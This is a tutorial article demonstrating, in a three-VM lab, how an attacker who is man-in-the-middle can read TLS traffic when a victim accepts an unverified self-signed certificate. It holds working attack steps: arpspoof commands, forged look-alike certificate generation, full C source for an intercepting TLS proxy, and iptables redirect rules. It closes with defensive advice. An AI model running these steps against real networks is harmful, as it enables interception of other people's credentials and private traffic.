In this article, we will see why not verifying the validity of a certificate is bad, and how an attacker can abuse this to read everything in the connection if he is in a Man-In-The-Middle position.
You can be forced to not verify a certificate for a variety of reasons, like self-signed certificate, or the certificate is not valid anymore but you have to access the server even though.
The environment
For this demonstration, I will have 3 VMs: 1 server, 1 victim and 1 performing the attack (Man-in-the-middle and TLS proxy).
The server VM is a Debian machine running Apache with mod_ssl and listening on port 443. Its certificate is self-signed and was generated by following this article.
The victim VM is a basic Debian machine with XFCE4 installed and using Firefox as its browser. It will use Firefox to visit the server.
The VM I will use to perform the attack is a Parrot OS machine.
The following table recapitulate each virtual machines’ IP and MAC addresses:
VM | IP | Domain Name |
---|---|---|
Server | 192.168.0.34 | server.local |
Victim | 192.168.0.33 | |
Attacker | 192.168.0.46 |
The web server is only serving 1 file named index.html
containing:
Hello!
Attack
The first thing to do as an attacker is to be between the victim and the server in order to have access to the TLS connection.
Man-in-The-Middle
To be in a Man-In-The-Middle position, I will be using arpspoof:
sudo arpspoof -r -t 192.168.0.33 192.168.0.34
arpspoof uses the ARP protocol to perform the attack, but how it works is outside the scope of this article. For those that are interested in how it works, here is a Wikipedia article about it.
We can see that the attack is working because in the ARP table of the victim, 192.168.0.46
(the attacker) and 192.168.0.34
(the server) have the same destination MAC address: the MAC address of the attacker.
Same thing on the server but instead the attacker and the victim have the same MAC address:
Now that we are between the victim and the server and we are receiving every packets going back-and-forth them, we can start to interfere with the TLS connections.
The first step is the TLS proxy.
Proxy
In this demonstration, we will only print to the console the content of the TLS connection going through the proxy.
That’s why I decided to write my own proxy in C using the OpenSSL library.
Certificate
As the proxy uses TLS, it will need a certificate.
This certificate can be any certificate, but one containing the same information as the certificate of the server would be better.
To get the information contained in the server’s certificate, I will be using this command:
openssl s_client -quiet -servername server.local -connect server.local:443
After showing the certificate and its content, this command will act as netcat with TLS. As we don’t need to send any data, you’ll need to CTRL-C
.
Once we have the information, we can generate the certificate:
openssl req -new -out proxy.csr.pem
openssl rsa -in privkey.pem -out proxy.key.pem
openssl x509 -in proxy.csr.pem -out proxy.cert.pem -req -signkey proxy.key.pem
After running the last command, you should see the same information you saw when you ran openssl s_client
:
Now that we have the certificate, we can jump to the code of the proxy.
Source code
Note that this proxy is single threaded and can handle one connection at a time, furthermore it was not made with speed in mind but ease of use and easy to understand.
// compile with: gcc -o tls_proxy ./tls_proxy.c -lcrypto -lssl -O2
// sudo iptables --table nat --append PREROUTING --protocol tcp --destination-port <server port> --source <victim ip> -j REDIRECT --to-port <ssl_proxy listening port>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#define BUF_SIZE_READ_WRITE 2048*2048
int create_socket_client(int port, char* domain);
int create_socket_server(int port);
SSL_CTX* create_server_context();
void proxy_handle(int port, char* domain, SSL* ssl_in, int socket_in) {
// create connection to the server given in the arguments
int s = create_socket_client(port, domain);
const SSL_METHOD *meth = TLS_client_method();
SSL_CTX *ctx = SSL_CTX_new(meth);
SSL *ssl_out = SSL_new(ctx);
if (!ssl_out) {
fprintf(stderr, "Error creating SSL: ");
ERR_print_errors_fp(stderr);
return ;
}
SSL_set_fd(ssl_out, s);
int err = SSL_connect(ssl_out);
if (err <= 0) {
fprintf(stderr, "Error connecting with SSL: ");
ERR_print_errors_fp(stderr);
return ;
}
int flags = fcntl(socket_in, F_GETFL, 0);
if (fcntl(socket_in, F_SETFL, flags | O_NONBLOCK) || fcntl(s, F_SETFL, flags | O_NONBLOCK)) {
perror("Unable to set non-blocking");
close(s);
close(socket_in);
exit(EXIT_FAILURE);
}
char* res = calloc(BUF_SIZE_READ_WRITE, sizeof (char));
int nb_bytes_in = 0, nb_bytes_out = 0;
while (1) {
nb_bytes_in = SSL_read(ssl_in, res, BUF_SIZE_READ_WRITE);
if(nb_bytes_in > 0) {
SSL_write(ssl_out, res, nb_bytes_in);
printf("========= CLIENT RECEIVED =========\n%s========= CLIENT END =========\n", res);
memset(res, 0, BUF_SIZE_READ_WRITE);
} else {
int err = SSL_get_error(ssl_in, nb_bytes_out);
if(err == SSL_ERROR_ZERO_RETURN || err == SSL_ERROR_SSL) {
break;
}
}
nb_bytes_out = SSL_read(ssl_out, res, BUF_SIZE_READ_WRITE);
if(nb_bytes_out > 0) {
printf("========= SERVER RECEIVED =========\n%s========= SERVER END =========\n", res);
SSL_write(ssl_in, res, nb_bytes_out);
memset(res, 0, BUF_SIZE_READ_WRITE);
} else {
int err = SSL_get_error(ssl_in, nb_bytes_out);
if(err == SSL_ERROR_ZERO_RETURN || err == SSL_ERROR_SSL) {
break;
}
}
}
free(res);
SSL_shutdown(ssl_out);
SSL_free(ssl_out);
close(s);
}
int main(int argc, char **argv) {
if (argc != 4) {
printf("Usage: %s <listening port> <server port> <server domain>\n", argv[0]);
return 1;
}
SSL_library_init();
SSLeay_add_ssl_algorithms();
SSL_load_error_strings();
int sock_in;
SSL *ssl_in;
SSL_CTX *ctx_in;
ctx_in = create_server_context();
sock_in = create_socket_server(atoi(argv[1]));
/* Handle connections */
while (1) { //just nee one connection
struct sockaddr_in addr;
unsigned int len = sizeof(addr);
puts("Waiting for a connection...");
int client = accept(sock_in, (struct sockaddr*)&addr, &len);
if (client < 0) {
perror("Unable to accept");
exit(EXIT_FAILURE);
}
ssl_in = SSL_new(ctx_in);
SSL_set_fd(ssl_in, client);
puts("Waiting for an SSL connection...");
if (SSL_accept(ssl_in) <= 0) {
fprintf(stderr, "Unable to accept with SSL: ");
ERR_print_errors_fp(stderr);
close(client);
continue;
} else {
puts("Got an SSL connection!");
proxy_handle(atoi(argv[2]), argv[3], ssl_in, client);
}
SSL_shutdown(ssl_in);
SSL_free(ssl_in);
close(client);
}
close(sock_in);
SSL_CTX_free(ctx_in);
}
int create_socket_client(int port, char* domain) {
printf("Connecting to %s:%d\n", domain, port);
int s;
struct sockaddr_in addr;
struct hostent *hostinfo = NULL;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
perror("Could not create client socket");
exit(EXIT_FAILURE);
}
struct hostent* hostserv = gethostbyname(domain);
if (hostserv == NULL) {
herror("Could not get host socket with gethostbyname");
exit(EXIT_FAILURE);
}
memset((char *) &addr, 0, sizeof(addr));
bcopy((char *)hostserv->h_addr,(char *)&addr.sin_addr.s_addr,hostserv->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("Unable to connect");
exit(EXIT_FAILURE);
}
return s;
}
int create_socket_server(int port) {
int s;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) {
perror("Unable to create socket");
exit(EXIT_FAILURE);
}
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("Unable to bind");
exit(EXIT_FAILURE);
}
if (listen(s, 1) < 0) {
perror("Unable to listen");
close(s);
exit(EXIT_FAILURE);
}
return s;
}
SSL_CTX* create_server_context() {
const SSL_METHOD *method;
SSL_CTX *ctx;
method = TLS_server_method();
ctx = SSL_CTX_new(method);
if (!ctx) {
fprintf(stderr, "Could not create SSL context: ");
ERR_print_errors_fp(stderr);
exit(EXIT_FAILURE);
}
SSL_CTX_set_mode(ctx, SSL_MODE_AUTO_RETRY );
/* Set the key and cert */
if (SSL_CTX_use_certificate_file(ctx, "proxy.cert.pem", SSL_FILETYPE_PEM) <= 0) {
fprintf(stderr, "Could not read certificate: ");
ERR_print_errors_fp(stderr);
exit(EXIT_FAILURE);
}
if (SSL_CTX_use_PrivateKey_file(ctx, "proxy.key.pem", SSL_FILETYPE_PEM) <= 0) {
fprintf(stderr, "Could not private key: ");
ERR_print_errors_fp(stderr);
exit(EXIT_FAILURE);
}
return ctx;
}
As written at the beginning of the program, you compile this code with:
gcc -o tls_proxy ./tls_proxy.c -lcrypto -lssl -O2
You can use this program like this: ./tls_proxy 5555 443 server.local
It will listen for TLS connections on the port 5555
and will forward data got from the victim to server.local
on port 443
.
Now that the proxy is listening, we will have to reroute the TLS traffic to going from the victim to the server to the proxy.
We can use a simple iptables
rule to achieve that:
sudo iptables --table nat --append PREROUTING --protocol tcp --destination-port 443 --destination server.local --source 192.168.0.33 -j REDIRECT --to-port 5555
The nat table should look something like this:
You can get rid of this rule with this command (it will flush the nat table):
sudo iptables --table nat -F
This rule will redirect traffic coming from the victim and going to the server on port 443 to our machine on port 5555 (where the proxy is listening), and, as you can see, this iptables
rule uses very narrow filters to be sure to only redirect TLS traffic to the proxy and nothing else.
But you might have seen that we only redirect TLS traffic going to server.local, what about everything else, like ICMP
for example ?
They will be dropped.
But we don’t want that because, for example, the victim could use HTTP instead of HTTPS, and its requests won’t be able to reach the server.
So we have to forward them. Fortunately, on Linux, you can easily do that:
sudo sysctl -w net.ipv4.ip_forward=1
Now that everything is set up, we can try as the victim to go to the server and see what happens:
We get some warnings about the certificate, if we accept the risk, we can see that we got the right page:
And we can see that the proxy printed the content of the request and the response:
Conclusion
As you can see, certificates can protect you only if you use them correctly.
I really encourage you to use a certificate authority (CA) and trust the root certificate, this is the best way to block this kind of attack.
Another way of preventing these attacks is by importing the certificate of the server (not the proxy) into the trusted certificates list, this way you will know when the certificate is not the correct one. Note that this technique is similar to using a CA made of this certificate.